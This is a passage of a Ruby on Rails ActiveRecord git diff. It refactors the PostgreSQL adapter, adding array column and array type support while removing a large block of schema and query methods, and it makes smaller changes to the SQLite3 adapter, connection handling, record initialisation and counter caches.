- case value
- when Hash
- case column.sql_type
- when 'hstore' then super(PostgreSQLColumn.hstore_to_string(value), column)
- else super
- end
- when IPAddr
- case column.sql_type
- when 'inet', 'cidr' then super(PostgreSQLColumn.cidr_to_string(value), column)
- else super
- end
- when Float
- if value.infinite? && column.type == :datetime
- "'#{value.to_s.downcase}'"
- elsif value.infinite? || value.nan?
- "'#{value.to_s}'"
- else
- super
- end
- when Numeric
- return super unless column.sql_type == 'money'
- # Not truly string input, so doesn't require (or allow) escape string syntax.
- "'#{value}'"
- when String
- case column.sql_type
- when 'bytea' then "'#{escape_bytea(value)}'"
- when 'xml' then "xml '#{quote_string(value)}'"
- when /^bit/
- case value
- when /^[01]*$/ then "B'#{value}'" # Bit-string notation
- when /^[0-9A-F]*$/i then "X'#{value}'" # Hexadecimal notation
- end
- else
- super
- end
- else
- super
- end
- end
-
- def type_cast(value, column)
- return super unless column
-
- case value
- when String
- return super unless 'bytea' == column.sql_type
- { :value => value, :format => 1 }
- when Hash
- return super unless 'hstore' == column.sql_type
- PostgreSQLColumn.hstore_to_string(value)
- when IPAddr
- return super unless ['inet','cidr'].includes? column.sql_type
- PostgreSQLColumn.cidr_to_string(value)
- else
- super
- end
- end
-
- # Quotes strings for use in SQL input.
- def quote_string(s) #:nodoc:
- @connection.escape(s)
- end
-
- # Checks the following cases:
- #
- # - table_name
- # - "table.name"
- # - schema_name.table_name
- # - schema_name."table.name"
- # - "schema.name".table_name
- # - "schema.name"."table.name"
- def quote_table_name(name)
- schema, name_part = extract_pg_identifier_from_name(name.to_s)
-
- unless name_part
- quote_column_name(schema)
- else
- table_name, name_part = extract_pg_identifier_from_name(name_part)
- "#{quote_column_name(schema)}.#{quote_column_name(table_name)}"
- end
- end
-
- # Quotes column names for use in SQL queries.
- def quote_column_name(name) #:nodoc:
- PGconn.quote_ident(name.to_s)
- end
-
- # Quote date/time values for use in SQL input. Includes microseconds
- # if the value is a Time responding to usec.
- def quoted_date(value) #:nodoc:
- if value.acts_like?(:time) && value.respond_to?(:usec)
- "#{super}.#{sprintf("%06d", value.usec)}"
- else
- super
+ def add_column_options!(sql, options)
+ if options[:array] || options[:column].try(:array)
+ sql << '[]'
end
+ super
end
# Set the authorized user for this session
@@ -655,698 +552,6 @@ module ActiveRecord
exec_query "SET SESSION AUTHORIZATION #{user}"
end
- # REFERENTIAL INTEGRITY ====================================
-
- def supports_disable_referential_integrity? #:nodoc:
- true
- end
-
- def disable_referential_integrity #:nodoc:
- if supports_disable_referential_integrity? then
- execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER ALL" }.join(";"))
- end
- yield
- ensure
- if supports_disable_referential_integrity? then
- execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER ALL" }.join(";"))
- end
- end
-
- # DATABASE STATEMENTS ======================================
-
- def explain(arel, binds = [])
- sql = "EXPLAIN #{to_sql(arel, binds)}"
- ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', binds))
- end
-
- class ExplainPrettyPrinter # :nodoc:
- # Pretty prints the result of a EXPLAIN in a way that resembles the output of the
- # PostgreSQL shell:
- #
- # QUERY PLAN
- # ------------------------------------------------------------------------------
- # Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0)
- # Join Filter: (posts.user_id = users.id)
- # -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4)
- # Index Cond: (id = 1)
- # -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4)
- # Filter: (posts.user_id = 1)
- # (6 rows)
- #
- def pp(result)
- header = result.columns.first
- lines = result.rows.map(&:first)
-
- # We add 2 because there's one char of padding at both sides, note
- # the extra hyphens in the example above.
- width = [header, *lines].map(&:length).max + 2
-
- pp = []
-
- pp << header.center(width).rstrip
- pp << '-' * width
-
- pp += lines.map {|line| " #{line}"}
-
- nrows = result.rows.length
- rows_label = nrows == 1 ? 'row' : 'rows'
- pp << "(#{nrows} #{rows_label})"
-
- pp.join("\n") + "\n"
- end
- end
-
- # Executes a SELECT query and returns an array of rows. Each row is an
- # array of field values.
- def select_rows(sql, name = nil)
- select_raw(sql, name).last
- end
-
- # Executes an INSERT query and returns the new record's ID
- def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
- unless pk
- # Extract the table from the insert sql. Yuck.
- table_ref = extract_table_ref_from_insert_sql(sql)
- pk = primary_key(table_ref) if table_ref
- end
-
- if pk && use_insert_returning?
- select_value("#{sql} RETURNING #{quote_column_name(pk)}")
- elsif pk
- super
- last_insert_id_value(sequence_name || default_sequence_name(table_ref, pk))
- else
- super
- end
- end
- alias :create :insert
-
- # create a 2D array representing the result set
- def result_as_array(res) #:nodoc:
- # check if we have any binary column and if they need escaping
- ftypes = Array.new(res.nfields) do |i|
- [i, res.ftype(i)]
- end
-
- rows = res.values
- return rows unless ftypes.any? { |_, x|
- x == BYTEA_COLUMN_TYPE_OID || x == MONEY_COLUMN_TYPE_OID
- }
-
- typehash = ftypes.group_by { |_, type| type }
- binaries = typehash[BYTEA_COLUMN_TYPE_OID] || []
- monies = typehash[MONEY_COLUMN_TYPE_OID] || []
-
- rows.each do |row|
- # unescape string passed BYTEA field (OID == 17)
- binaries.each do |index, _|
- row[index] = unescape_bytea(row[index])
- end
-
- # If this is a money type column and there are any currency symbols,
- # then strip them off. Indeed it would be prettier to do this in
- # PostgreSQLColumn.string_to_decimal but would break form input
- # fields that call value_before_type_cast.
- monies.each do |index, _|
- data = row[index]
- # Because money output is formatted according to the locale, there are two
- # cases to consider (note the decimal separators):
- # (1) $12,345,678.12
- # (2) $12.345.678,12
- case data
- when /^-?\D+[\d,]+\.\d{2}$/ # (1)
- data.gsub!(/[^-\d.]/, '')
- when /^-?\D+[\d.]+,\d{2}$/ # (2)
- data.gsub!(/[^-\d,]/, '').sub!(/,/, '.')
- end
- end
- end
- end
-
-
- # Queries the database and returns the results in an Array-like object
- def query(sql, name = nil) #:nodoc:
- log(sql, name) do
- result_as_array @connection.async_exec(sql)
- end
- end
-
- # Executes an SQL statement, returning a PGresult object on success
- # or raising a PGError exception otherwise.
- def execute(sql, name = nil)
- log(sql, name) do
- @connection.async_exec(sql)
- end
- end
-
- def substitute_at(column, index)
- Arel::Nodes::BindParam.new "$#{index + 1}"
- end
-
- class Result < ActiveRecord::Result
- def initialize(columns, rows, column_types)
- super(columns, rows)
- @column_types = column_types
- end
- end
-
- def exec_query(sql, name = 'SQL', binds = [])
- log(sql, name, binds) do
- result = binds.empty? ? exec_no_cache(sql, binds) :
- exec_cache(sql, binds)
-
- types = {}
- result.fields.each_with_index do |fname, i|
- ftype = result.ftype i
- fmod = result.fmod i
- types[fname] = OID::TYPE_MAP.fetch(ftype, fmod) { |oid, mod|
- warn "unknown OID: #{fname}(#{oid}) (#{sql})"
- OID::Identity.new
- }
- end
-
- ret = Result.new(result.fields, result.values, types)
- result.clear
- return ret
- end
- end
-
- def exec_delete(sql, name = 'SQL', binds = [])
- log(sql, name, binds) do
- result = binds.empty? ? exec_no_cache(sql, binds) :
- exec_cache(sql, binds)
- affected = result.cmd_tuples
- result.clear
- affected
- end
- end
- alias :exec_update :exec_delete
-
- def sql_for_insert(sql, pk, id_value, sequence_name, binds)
- unless pk
- # Extract the table from the insert sql. Yuck.
- table_ref = extract_table_ref_from_insert_sql(sql)
- pk = primary_key(table_ref) if table_ref
- end
-
- if pk && use_insert_returning?
- sql = "#{sql} RETURNING #{quote_column_name(pk)}"
- end
-
- [sql, binds]
- end
-
- def exec_insert(sql, name, binds, pk = nil, sequence_name = nil)
- val = exec_query(sql, name, binds)
- if !use_insert_returning? && pk
- unless sequence_name
- table_ref = extract_table_ref_from_insert_sql(sql)
- sequence_name = default_sequence_name(table_ref, pk)
- return val unless sequence_name
- end
- last_insert_id_result(sequence_name)
- else
- val
- end
- end
-
- # Executes an UPDATE query and returns the number of affected tuples.
- def update_sql(sql, name = nil)
- super.cmd_tuples
- end
-
- # Begins a transaction.
- def begin_db_transaction
- execute "BEGIN"
- end
-
- # Commits a transaction.
- def commit_db_transaction
- execute "COMMIT"
- end
-
- # Aborts a transaction.
- def rollback_db_transaction
- execute "ROLLBACK"
- end
-
- def outside_transaction?
- @connection.transaction_status == PGconn::PQTRANS_IDLE
- end
-
- def create_savepoint
- execute("SAVEPOINT #{current_savepoint_name}")
- end
-
- def rollback_to_savepoint
- execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
- end
-
- def release_savepoint
- execute("RELEASE SAVEPOINT #{current_savepoint_name}")
- end
-
- # SCHEMA STATEMENTS ========================================
-
- # Drops the database specified on the +name+ attribute
- # and creates it again using the provided +options+.
- def recreate_database(name, options = {}) #:nodoc:
- drop_database(name)
- create_database(name, options)
- end
-
- # Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>,
- # <tt>:encoding</tt>, <tt>:collation</tt>, <tt>:ctype</tt>,
- # <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
- # <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>).
- #
- # Example:
- # create_database config[:database], config
- # create_database 'foo_development', :encoding => 'unicode'
- def create_database(name, options = {})
- options = options.reverse_merge(:encoding => "utf8")
-
- option_string = options.symbolize_keys.sum do |key, value|
- case key
- when :owner
- " OWNER = \"#{value}\""
- when :template
- " TEMPLATE = \"#{value}\""
- when :encoding
- " ENCODING = '#{value}'"
- when :collation
- " LC_COLLATE = '#{value}'"
- when :ctype
- " LC_CTYPE = '#{value}'"
- when :tablespace
- " TABLESPACE = \"#{value}\""
- when :connection_limit
- " CONNECTION LIMIT = #{value}"
- else
- ""
- end
- end
-
- execute "CREATE DATABASE #{quote_table_name(name)}#{option_string}"
- end
-
- # Drops a PostgreSQL database.
- #
- # Example:
- # drop_database 'matt_development'
- def drop_database(name) #:nodoc:
- execute "DROP DATABASE IF EXISTS #{quote_table_name(name)}"
- end
-
- # Returns the list of all tables in the schema search path or a specified schema.
- def tables(name = nil)
- query(<<-SQL, 'SCHEMA').map { |row| row[0] }
- SELECT tablename
- FROM pg_tables
- WHERE schemaname = ANY (current_schemas(false))
- SQL
- end
-
- # Returns true if table exists.
- # If the schema is not specified as part of +name+ then it will only find tables within
- # the current schema search path (regardless of permissions to access tables in other schemas)
- def table_exists?(name)
- schema, table = Utils.extract_schema_and_table(name.to_s)
- return false unless table
-
- binds = [[nil, table]]
- binds << [nil, schema] if schema
-
- exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
- SELECT COUNT(*)
- FROM pg_class c
- LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
- WHERE c.relkind in ('v','r')
- AND c.relname = '#{table.gsub(/(^"|"$)/,'')}'
- AND n.nspname = #{schema ? "'#{schema}'" : 'ANY (current_schemas(false))'}
- SQL
- end
-
- # Returns true if schema exists.
- def schema_exists?(name)
- exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
- SELECT COUNT(*)
- FROM pg_namespace
- WHERE nspname = '#{name}'
- SQL
- end
-
- # Returns an array of indexes for the given table.
- def indexes(table_name, name = nil)
- result = query(<<-SQL, 'SCHEMA')
- SELECT distinct i.relname, d.indisunique, d.indkey, pg_get_indexdef(d.indexrelid), t.oid
- FROM pg_class t
- INNER JOIN pg_index d ON t.oid = d.indrelid
- INNER JOIN pg_class i ON d.indexrelid = i.oid
- WHERE i.relkind = 'i'
- AND d.indisprimary = 'f'
- AND t.relname = '#{table_name}'
- AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname = ANY (current_schemas(false)) )
- ORDER BY i.relname
- SQL
-
- result.map do |row|
- index_name = row[0]
- unique = row[1] == 't'
- indkey = row[2].split(" ")
- inddef = row[3]
- oid = row[4]
-
- columns = Hash[query(<<-SQL, "Columns for index #{row[0]} on #{table_name}")]
- SELECT a.attnum, a.attname
- FROM pg_attribute a
- WHERE a.attrelid = #{oid}
- AND a.attnum IN (#{indkey.join(",")})
- SQL
-
- column_names = columns.values_at(*indkey).compact
-
- # add info on sort order for columns (only desc order is explicitly specified, asc is the default)
- desc_order_columns = inddef.scan(/(\w+) DESC/).flatten
- orders = desc_order_columns.any? ? Hash[desc_order_columns.map {|order_column| [order_column, :desc]}] : {}
- where = inddef.scan(/WHERE (.+)$/).flatten[0]
-
- column_names.empty? ? nil : IndexDefinition.new(table_name, index_name, unique, column_names, [], orders, where)
- end.compact
- end
-
- # Returns the list of all column definitions for a table.
- def columns(table_name)
- # Limit, precision, and scale are all handled by the superclass.
- column_definitions(table_name).map do |column_name, type, default, notnull, oid, fmod|
- oid = OID::TYPE_MAP.fetch(oid.to_i, fmod.to_i) {
- OID::Identity.new
- }
- PostgreSQLColumn.new(column_name, default, oid, type, notnull == 'f')
- end
- end
-
- # Returns the current database name.
- def current_database
- query('select current_database()', 'SCHEMA')[0][0]
- end
-
- # Returns the current schema name.
- def current_schema
- query('SELECT current_schema', 'SCHEMA')[0][0]
- end
-
- # Returns the current database encoding format.
- def encoding
- query(<<-end_sql, 'SCHEMA')[0][0]
- SELECT pg_encoding_to_char(pg_database.encoding) FROM pg_database
- WHERE pg_database.datname LIKE '#{current_database}'
- end_sql
- end
-
- # Returns the current database collation.
- def collation
- query(<<-end_sql, 'SCHEMA')[0][0]
- SELECT pg_database.datcollate FROM pg_database WHERE pg_database.datname LIKE '#{current_database}'
- end_sql
- end
-
- # Returns the current database ctype.
- def ctype
- query(<<-end_sql, 'SCHEMA')[0][0]
- SELECT pg_database.datctype FROM pg_database WHERE pg_database.datname LIKE '#{current_database}'
- end_sql
- end
-
- # Returns an array of schema names.
- def schema_names
- query(<<-SQL, 'SCHEMA').flatten
- SELECT nspname
- FROM pg_namespace
- WHERE nspname !~ '^pg_.*'
- AND nspname NOT IN ('information_schema')
- ORDER by nspname;
- SQL
- end
-
- # Creates a schema for the given schema name.
- def create_schema schema_name
- execute "CREATE SCHEMA #{schema_name}"
- end
-
- # Drops the schema for the given schema name.
- def drop_schema schema_name
- execute "DROP SCHEMA #{schema_name} CASCADE"
- end
-
- # Sets the schema search path to a string of comma-separated schema names.
- # Names beginning with $ have to be quoted (e.g. $user => '$user').
- # See: http://www.postgresql.org/docs/current/static/ddl-schemas.html
- #
- # This should be not be called manually but set in database.yml.
- def schema_search_path=(schema_csv)
- if schema_csv
- execute("SET search_path TO #{schema_csv}", 'SCHEMA')
- @schema_search_path = schema_csv
- end
- end
-
- # Returns the active schema search path.
- def schema_search_path
- @schema_search_path ||= query('SHOW search_path', 'SCHEMA')[0][0]
- end
-
- # Returns the current client message level.
- def client_min_messages
- query('SHOW client_min_messages', 'SCHEMA')[0][0]
- end
-
- # Set the client message level.
- def client_min_messages=(level)
- execute("SET client_min_messages TO '#{level}'", 'SCHEMA')
- end
-
- # Returns the sequence name for a table's primary key or some other specified key.
- def default_sequence_name(table_name, pk = nil) #:nodoc:
- result = serial_sequence(table_name, pk || 'id')
- return nil unless result
- result.split('.').last
- rescue ActiveRecord::StatementInvalid
- "#{table_name}_#{pk || 'id'}_seq"
- end
-
- def serial_sequence(table, column)
- result = exec_query(<<-eosql, 'SCHEMA')
- SELECT pg_get_serial_sequence('#{table}', '#{column}')
- eosql
- result.rows.first.first
- end
-
- # Resets the sequence of a table's primary key to the maximum value.
- def reset_pk_sequence!(table, pk = nil, sequence = nil) #:nodoc:
- unless pk and sequence
- default_pk, default_sequence = pk_and_sequence_for(table)
-
- pk ||= default_pk
- sequence ||= default_sequence
- end
-
- if @logger && pk && !sequence
- @logger.warn "#{table} has primary key #{pk} with no default sequence"
- end
-
- if pk && sequence
- quoted_sequence = quote_table_name(sequence)
-
- select_value <<-end_sql, 'Reset sequence'
- SELECT setval('#{quoted_sequence}', (SELECT COALESCE(MAX(#{quote_column_name pk})+(SELECT increment_by FROM #{quoted_sequence}), (SELECT min_value FROM #{quoted_sequence})) FROM #{quote_table_name(table)}), false)
- end_sql
- end
- end
-
- # Returns a table's primary key and belonging sequence.
- def pk_and_sequence_for(table) #:nodoc:
- # First try looking for a sequence with a dependency on the
- # given table's primary key.
- result = query(<<-end_sql, 'PK and serial sequence')[0]
- SELECT attr.attname, seq.relname
- FROM pg_class seq,
- pg_attribute attr,
- pg_depend dep,
- pg_namespace name,
- pg_constraint cons
- WHERE seq.oid = dep.objid
- AND seq.relkind = 'S'
- AND attr.attrelid = dep.refobjid
- AND attr.attnum = dep.refobjsubid
- AND attr.attrelid = cons.conrelid
- AND attr.attnum = cons.conkey[1]
- AND cons.contype = 'p'
- AND dep.refobjid = '#{quote_table_name(table)}'::regclass
- end_sql
-
- if result.nil? or result.empty?
- # If that fails, try parsing the primary key's default value.
- # Support the 7.x and 8.0 nextval('foo'::text) as well as
- # the 8.1+ nextval('foo'::regclass).
- result = query(<<-end_sql, 'PK and custom sequence')[0]
- SELECT attr.attname,
- CASE
- WHEN split_part(def.adsrc, '''', 2) ~ '.' THEN
- substr(split_part(def.adsrc, '''', 2),
- strpos(split_part(def.adsrc, '''', 2), '.')+1)
- ELSE split_part(def.adsrc, '''', 2)
- END
- FROM pg_class t
- JOIN pg_attribute attr ON (t.oid = attrelid)
- JOIN pg_attrdef def ON (adrelid = attrelid AND adnum = attnum)
- JOIN pg_constraint cons ON (conrelid = adrelid AND adnum = conkey[1])
- WHERE t.oid = '#{quote_table_name(table)}'::regclass
- AND cons.contype = 'p'
- AND def.adsrc ~* 'nextval'
- end_sql
- end
-
- [result.first, result.last]
- rescue
- nil
- end
-
- # Returns just a table's primary key
- def primary_key(table)
- row = exec_query(<<-end_sql, 'SCHEMA').rows.first
- SELECT DISTINCT(attr.attname)
- FROM pg_attribute attr
- INNER JOIN pg_depend dep ON attr.attrelid = dep.refobjid AND attr.attnum = dep.refobjsubid
- INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = cons.conkey[1]
- WHERE cons.contype = 'p'
- AND dep.refobjid = '#{table}'::regclass
- end_sql
-
- row && row.first
- end
-
- # Renames a table.
- # Also renames a table's primary key sequence if the sequence name matches the
- # Active Record default.
- #
- # Example:
- # rename_table('octopuses', 'octopi')
- def rename_table(name, new_name)
- clear_cache!
- execute "ALTER TABLE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}"
- pk, seq = pk_and_sequence_for(new_name)
- if seq == "#{name}_#{pk}_seq"
- new_seq = "#{new_name}_#{pk}_seq"
- execute "ALTER TABLE #{quote_table_name(seq)} RENAME TO #{quote_table_name(new_seq)}"
- end
- end
-
- # Adds a new column to the named table.
- # See TableDefinition#column for details of the options you can use.
- def add_column(table_name, column_name, type, options = {})
- clear_cache!
- add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD COLUMN #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
- add_column_options!(add_column_sql, options)
-
- execute add_column_sql
- end
-
- # Changes the column of a table.
- def change_column(table_name, column_name, type, options = {})
- clear_cache!
- quoted_table_name = quote_table_name(table_name)
-
- execute "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
-
- change_column_default(table_name, column_name, options[:default]) if options_include_default?(options)
- change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)
- end
-
- # Changes the default value of a table column.
- def change_column_default(table_name, column_name, default)
- clear_cache!
- execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote(default)}"
- end
-
- def change_column_null(table_name, column_name, null, default = nil)
- clear_cache!
- unless null || default.nil?
- execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
- end
- execute("ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL")
- end
-
- # Renames a column in a table.
- def rename_column(table_name, column_name, new_column_name)
- clear_cache!
- execute "ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}"
- end
-
- def remove_index!(table_name, index_name) #:nodoc:
- execute "DROP INDEX #{quote_table_name(index_name)}"
- end
-
- def rename_index(table_name, old_name, new_name)
- execute "ALTER INDEX #{quote_column_name(old_name)} RENAME TO #{quote_table_name(new_name)}"
- end
-
- def index_name_length
- 63
- end
-
- # Maps logical Rails types to PostgreSQL-specific data types.
- def type_to_sql(type, limit = nil, precision = nil, scale = nil)
- case type.to_s
- when 'binary'
- # PostgreSQL doesn't support limits on binary (bytea) columns.
- # The hard limit is 1Gb, because of a 32-bit size field, and TOAST.
- case limit
- when nil, 0..0x3fffffff; super(type)
- else raise(ActiveRecordError, "No binary type has byte size #{limit}.")
- end
- when 'integer'
- return 'integer' unless limit
-
- case limit
- when 1, 2; 'smallint'
- when 3, 4; 'integer'
- when 5..8; 'bigint'
- else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with precision 0 instead.")
- end
- when 'datetime'
- return super unless precision
-
- case precision
- when 0..6; "timestamp(#{precision})"
- else raise(ActiveRecordError, "No timestamp type has precision of #{precision}. The allowed range of precision is from 0 to 6")
- end
- else
- super
- end
- end
-
- # Returns a SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
- #
- # PostgreSQL requires the ORDER BY columns in the select list for distinct queries, and
- # requires that the ORDER BY include the distinct column.
- #
- # distinct("posts.id", "posts.created_at desc")
- def distinct(columns, orders) #:nodoc:
- return "DISTINCT #{columns}" if orders.empty?
-
- # Construct a clean list of column names from the ORDER BY clause, removing
- # any ASC/DESC modifiers
- order_columns = orders.collect do |s|
- s = s.to_sql unless s.is_a?(String)
- s.gsub(/\s+(ASC|DESC)\s*(NULLS\s+(FIRST|LAST)\s*)?/i, '')
- end
- order_columns.delete_if { |c| c.blank? }
- order_columns = order_columns.zip((0...order_columns.size).to_a).map { |s,i| "#{s} AS alias_#{i}" }
-
- "DISTINCT #{columns}, #{order_columns * ', '}"
- end
-
module Utils
extend self
@@ -1371,6 +576,7 @@ module ActiveRecord
end
protected
+
# Returns the version of the connected PostgreSQL server.
def postgresql_version
@connection.server_version
@@ -1392,21 +598,30 @@ module ActiveRecord
end
private
- def initialize_type_map
- result = execute('SELECT oid, typname, typelem, typdelim FROM pg_type', 'SCHEMA')
- leaves, nodes = result.partition { |row| row['typelem'] == '0' }
- # populate the leaf nodes
- leaves.find_all { |row| OID.registered_type? row['typname'] }.each do |row|
- OID::TYPE_MAP[row['oid'].to_i] = OID::NAMES[row['typname']]
- end
+ def initialize_type_map
+ result = execute('SELECT oid, typname, typelem, typdelim, typinput FROM pg_type', 'SCHEMA')
+ leaves, nodes = result.partition { |row| row['typelem'] == '0' }
+
+ # populate the leaf nodes
+ leaves.find_all { |row| OID.registered_type? row['typname'] }.each do |row|
+ OID::TYPE_MAP[row['oid'].to_i] = OID::NAMES[row['typname']]
+ end
- # populate composite types
- nodes.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
- vector = OID::Vector.new row['typdelim'], OID::TYPE_MAP[row['typelem'].to_i]
- OID::TYPE_MAP[row['oid'].to_i] = vector
+ arrays, nodes = nodes.partition { |row| row['typinput'] == 'array_in' }
+
+ # populate composite types
+ nodes.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
+ vector = OID::Vector.new row['typdelim'], OID::TYPE_MAP[row['typelem'].to_i]
+ OID::TYPE_MAP[row['oid'].to_i] = vector
+ end
+
+ # populate array types
+ arrays.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
+ array = OID::Array.new OID::TYPE_MAP[row['typelem'].to_i]
+ OID::TYPE_MAP[row['oid'].to_i] = array
+ end
end
- end
FEATURE_NOT_SUPPORTED = "0A000" # :nodoc:
@@ -1548,12 +763,12 @@ module ActiveRecord
# - ::regclass is a function that gives the id for a table name
def column_definitions(table_name) #:nodoc:
exec_query(<<-end_sql, 'SCHEMA').rows
- SELECT a.attname, format_type(a.atttypid, a.atttypmod), d.adsrc, a.attnotnull, a.atttypid, a.atttypmod
- FROM pg_attribute a LEFT JOIN pg_attrdef d
- ON a.attrelid = d.adrelid AND a.attnum = d.adnum
- WHERE a.attrelid = '#{quote_table_name(table_name)}'::regclass
- AND a.attnum > 0 AND NOT a.attisdropped
- ORDER BY a.attnum
+ SELECT a.attname, format_type(a.atttypid, a.atttypmod), d.adsrc, a.attnotnull, a.atttypid, a.atttypmod
+ FROM pg_attribute a LEFT JOIN pg_attrdef d
+ ON a.attrelid = d.adrelid AND a.attnum = d.adnum
+ WHERE a.attrelid = '#{quote_table_name(table_name)}'::regclass
+ AND a.attnum > 0 AND NOT a.attisdropped
+ ORDER BY a.attnum
end_sql
end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
index 4fe0013f0f..4a48812807 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -104,6 +104,8 @@ module ActiveRecord
def initialize(connection, logger, config)
super(connection, logger)
+
+ @active = nil
@statements = StatementPool.new(@connection,
config.fetch(:statement_limit) { 1000 })
@config = config
@@ -154,11 +156,15 @@ module ActiveRecord
true
end
+ def active?
+ @active != false
+ end
+
# Disconnects from the database if already connected. Otherwise, this
# method does nothing.
def disconnect!
super
- clear_cache!
+ @active = false
@connection.close rescue nil
end
@@ -397,7 +403,7 @@ module ActiveRecord
table_name,
row['name'],
row['unique'] != 0,
- exec_query("PRAGMA index_info('#{row['name']}')", "Columns for index #{row['name']} on #{table_name}").map { |col|
+ exec_query("PRAGMA index_info('#{row['name']}')", "SCHEMA").map { |col|
col['name']
})
end
diff --git a/activerecord/lib/active_record/connection_handling.rb b/activerecord/lib/active_record/connection_handling.rb
index 7863c795ed..3531be05bf 100644
--- a/activerecord/lib/active_record/connection_handling.rb
+++ b/activerecord/lib/active_record/connection_handling.rb
@@ -44,7 +44,7 @@ module ActiveRecord
end
remove_connection
- connection_handler.establish_connection name, spec
+ connection_handler.establish_connection self, spec
end
# Returns the connection currently associated with the class. This can
diff --git a/activerecord/lib/active_record/core.rb b/activerecord/lib/active_record/core.rb
index cde3325919..f97c363871 100644
--- a/activerecord/lib/active_record/core.rb
+++ b/activerecord/lib/active_record/core.rb
@@ -160,19 +160,10 @@ module ActiveRecord
# In both instances, valid attribute keys are determined by the column names of the associated table --
# hence you can't have attributes that aren't part of the table columns.
#
- # +initialize+ respects mass-assignment security and accepts either +:as+ or +:without_protection+ options
- # in the +options+ parameter.
- #
- # ==== Examples
+ # ==== Example:
# # Instantiates a single new object
# User.new(:first_name => 'Jamie')
- #
- # # Instantiates a single new object using the :admin mass-assignment security role
- # User.new({ :first_name => 'Jamie', :is_admin => true }, :as => :admin)
- #
- # # Instantiates a single new object bypassing mass-assignment security
- # User.new({ :first_name => 'Jamie', :is_admin => true }, :without_protection => true)
- def initialize(attributes = nil, options = {})
+ def initialize(attributes = nil)
defaults = self.class.column_defaults.dup
defaults.each { |k, v| defaults[k] = v.dup if v.duplicable? }
@@ -180,12 +171,10 @@ module ActiveRecord
@columns_hash = self.class.column_types.dup
init_internals
-
ensure_proper_type
-
populate_with_current_scope_attributes
- assign_attributes(attributes, options) if attributes
+ assign_attributes(attributes) if attributes
yield self if block_given?
run_callbacks :initialize unless _initialize_callbacks.empty?
@@ -202,7 +191,7 @@ module ActiveRecord
# post.init_with('attributes' => { 'title' => 'hello world' })
# post.title # => 'hello world'
def init_with(coder)
- @attributes = self.class.initialize_attributes(coder['attributes'])
+ @attributes = self.class.initialize_attributes(coder['attributes'])
@columns_hash = self.class.column_types.merge(coder['column_types'] || {})
init_internals
@@ -246,12 +235,10 @@ module ActiveRecord
cloned_attributes = other.clone_attributes(:read_attribute_before_type_cast)
self.class.initialize_attributes(cloned_attributes, :serialized => false)
- cloned_attributes.delete(self.class.primary_key)
-
@attributes = cloned_attributes
@attributes[self.class.primary_key] = nil
- run_callbacks(:initialize) if _initialize_callbacks.any?
+ run_callbacks(:initialize) unless _initialize_callbacks.empty?
@changed_attributes = {}
self.class.column_defaults.each do |attr, orig_value|
@@ -310,7 +297,8 @@ module ActiveRecord
# Freeze the attributes hash such that associations are still accessible, even on destroyed records.
def freeze
- @attributes.freeze; self
+ @attributes.freeze
+ self
end
# Returns +true+ if the attributes hash has been frozen.
@@ -322,8 +310,6 @@ module ActiveRecord
def <=>(other_object)
if other_object.is_a?(self.class)
self.to_key <=> other_object.to_key
- else
- nil
end
end
@@ -380,7 +366,6 @@ module ActiveRecord
def init_internals
pk = self.class.primary_key
-
@attributes[pk] = nil unless @attributes.key?(pk)
@aggregation_cache = {}
@@ -392,7 +377,8 @@ module ActiveRecord
@destroyed = false
@marked_for_destruction = false
@new_record = true
- @mass_assignment_options = nil
+ @txn = nil
+ @_start_transaction_state = {}
end
end
end
diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb
index b27a19f89a..c877079b25 100644
--- a/activerecord/lib/active_record/counter_cache.rb
+++ b/activerecord/lib/active_record/counter_cache.rb
@@ -25,7 +25,7 @@ module ActiveRecord
foreign_key = has_many_association.foreign_key.to_s
child_class = has_many_association.klass
belongs_to = child_class.reflect_on_all_associations(:belongs_to)
- reflection = belongs_to.find { |e| e.foreign_key.to_s == foreign_key }
+ reflection = belongs_to.find { |e| e.foreign_key.to_s == foreign_key && e.options[:counter_cache].present? }
counter_name = reflection.counter_cache_column
